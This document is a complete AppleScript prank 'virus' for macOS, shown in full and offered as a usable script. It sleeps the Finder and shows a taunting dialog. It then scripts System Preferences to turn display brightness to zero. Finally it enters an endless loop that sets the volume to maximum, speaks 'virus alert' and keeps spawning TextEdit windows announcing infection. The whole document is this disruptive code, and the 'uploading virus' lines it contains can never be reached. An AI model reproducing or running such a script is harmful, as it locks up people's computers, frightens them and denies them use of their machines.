applescript virus

tell application "Finder" to sleep
display dialog "Hello, my name is Jose. I am going to mess with your computer." buttons {"You're an idiot!", "I bet you can't"} default button 2
if the button returned of the result is "You're an idiot!" then
   tell application "System Preferences"
      activate
      set current pane to pane "com.apple.preference.displays"
   end tell

   tell application "System Events"
      tell process "System Preferences"
         tell slider 1 of group 2 of tab group 1 of window 1
            set value to 0.0
         end tell
      end tell
   end tell

   tell application "System Preferences" to quit

   repeat
      set volume 16
      say "virus alert"
      tell application "TextEdit"
         activate
         make new document
         set the name of the front window to "hahahaha"
         set the text of the front document to "Neener Neener! You have been infected!"
      end tell
   end repeat
   set volume 16
   say "uploading virus"
   say "virus upload complete"

else
   tell application "System Preferences"
      activate
      set current pane to pane "com.apple.preference.displays"
   end tell

   tell application "System Events"
      tell process "System Preferences"
         tell slider 1 of group 2 of tab group 1 of window 1
            set value to 0.0
         end tell
      end tell
   end tell

   tell application "System Preferences" to quit
end if
repeat
   set volume 16
   say "virus alert"
   tell application "TextEdit"

      make new document
      set the name of the front window to "hahahaha"
      set the text of the front document to "Neener Neener! You have been infected!"
   end tell
end repeat